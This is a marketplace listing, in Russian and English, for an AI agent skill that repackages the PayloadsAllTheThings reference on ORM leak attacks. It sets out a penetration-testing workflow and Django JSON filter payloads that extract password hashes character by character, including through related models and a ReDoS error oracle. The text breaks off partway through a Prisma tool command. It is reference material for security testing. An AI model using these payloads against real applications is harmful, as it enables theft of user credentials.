payloads-orm-leak
БесплатноБез исполняемых скриптовНе проверенAn ORM leak vulnerability occurs when sensitive information, such as database structure or user data, is unintentionally exposed due to improper handling of…
от smartworldarafath★ 68 звёзд на GitHubОб этом скилле
ORM Leak Payloads
Source: PayloadsAllTheThings/ORM Leak Category:
payloads-web| Skill ID:payloads-orm-leak
Overview
ORM query leak payloads for Django, Hibernate, ActiveRecord, and Eloquent data exfiltration.
This skill integrates the full PayloadsAllTheThings (PATT) payload library for the ORM Leak Payloads domain into the REA_Skill framework. Use it during authorized penetration testing, bug bounty research, security audits, and CTF challenges.
Workflow
1. Recon & Identification
- Identify the target technology stack and injection points
- Enumerate endpoints, parameters, and input vectors
- Determine applicable payload categories from the reference below
2. Payload Selection
- Browse the PATT payload library for the attack class
- Select encoding-appropriate payloads for the target environment
- Consider WAF bypass variants and obfuscation techniques
3. Exploitation (Authorized Only)
- Test payloads in order: passive → active → escalation
- Document every payload tested and its response
- Capture PoC evidence (screenshots, HTTP logs, curl output)
4. Verification & Reporting
- Confirm the vulnerability with a clean minimal PoC
- Map findings to CVE/CWE where applicable
- Report with remediation recommendations and code fixes
Full PATT Reference
ORM Leak
An ORM leak vulnerability occurs when sensitive information, such as database structure or user data, is unintentionally exposed due to improper handling of ORM queries. This can happen if the application returns raw error messages, debug information, or allows attackers to manipulate queries in ways that reveal underlying data.
Summary
Django (Python)
The following code is a basic example of an ORM querying the database.
users = User.objects.filter(**request.data)
serializer = UserSerializer(users, many=True)
The problem lies in how the Django ORM uses keyword parameter syntax to build QuerySets. By utilizing the unpack operator (**), users can dynamically control the keyword arguments passed to the filter method, allowing them to filter results according to their needs.
Query filter
The attacker can control the column to filter results by. The ORM provides operators for matching parts of a value. These operators can utilize the SQL LIKE condition in generated queries, perform regex matching based on user-controlled patterns, or apply comparison operators such as < and >.
{
"username": "admin",
"password__startswith": "p"
}
Interesting filter to use:
__startswith__contains__regex
Relational Filtering
Let's use this great example from PLORMBING YOUR DJANGO ORM, by Alex Brown

We can see 2 type of relationships:
- One-to-One relationships
- Many-to-Many Relationships
One-to-One
Filtering through user that created an article, and having a password containing the character p.
{
"created_by__user__password__contains": "p"
}
Many-to-Many
Almost the same thing but you need to filter more.
- Get the user IDS:
created_by__departments__employees__user__id - For each ID, get the username:
created_by__departments__employees__user__username - Finally, leak their password hash:
created_by__departments__employees__user__password
Use multiple filters in the same request:
{
"created_by__departments__employees__user__username__startswith": "p",
"created_by__departments__employees__user__id": 1
}
Error-based leaking - ReDOS
If Django use MySQL, you can also abuse a ReDOS to force an error when the filter does not properly match the condition.
{"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"}
// => Return something
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
// => Error 500 (Timeout exceeded in regular expression match)
Prisma (Node.JS)
Tools:
elttam/plormber - tool for exploiting ORM Leak time-based vulnerabilities
plormber prisma-contains \ --chars '0123456789abcdef' \ --base-query-json '
Установить payloads-orm-leak в Claude Code и Claude Desktop
Зарегайся, чтобы установить скилл
Создай бесплатный аккаунт, чтобы открыть команду установки и сохранить скилл в библиотеку.
- Открой команду установки в одну строку
- Сохраняй скиллы в синхронизируемую библиотеку
- Уведомления, когда скиллы обновляются
Разрешённые инструменты
Инструменты, которые скиллу разрешено вызывать.
Без ограничений — скилл может использовать любой инструмент.
Вложенные файлы
FAQ
Что делает скилл payloads-orm-leak?
An ORM leak vulnerability occurs when sensitive information, such as database structure or user data, is unintentionally exposed due to improper handling of ORM queries. This can happen if the application returns raw error messages, debug information, or allows attackers to manipulate queries in ways that reveal underlying data. The following code is a basic example of an ORM querying the...
Как установить скилл payloads-orm-leak?
Скопируй папку скилла в ~/.claude/skills (вкладка Claude Code выше делает это одной командой), либо поставь как плагин.
Скилл payloads-orm-leak запускает скрипты?
Нет, скилл состоит только из инструкций (SKILL.md), без исполняемых скриптов.
Похожие скиллы
skill-creator
Create new skills, modify and improve existing skills, and measure skill performance. Use when users want to create a skill from scratch, edit, or optimize an…
от Anthropicdiscernment-nudge
After you give a substantive answer or draft that the user may act on — advice or recommendations, drafted artifacts such as goals, plans, pitches, proposals…
от Anthropicdata-consolidate
Joins the plant's scheduled exports and connector data into one working dataset — ERP items (NetSuite or Infor M3), sales orders, production work orders…
от Anthropicinspection-to-capa
Runs the quality chain end to end: writes the nonconformance against the requirement it violates, searches history at the moment of writing to say whether…
от Anthropic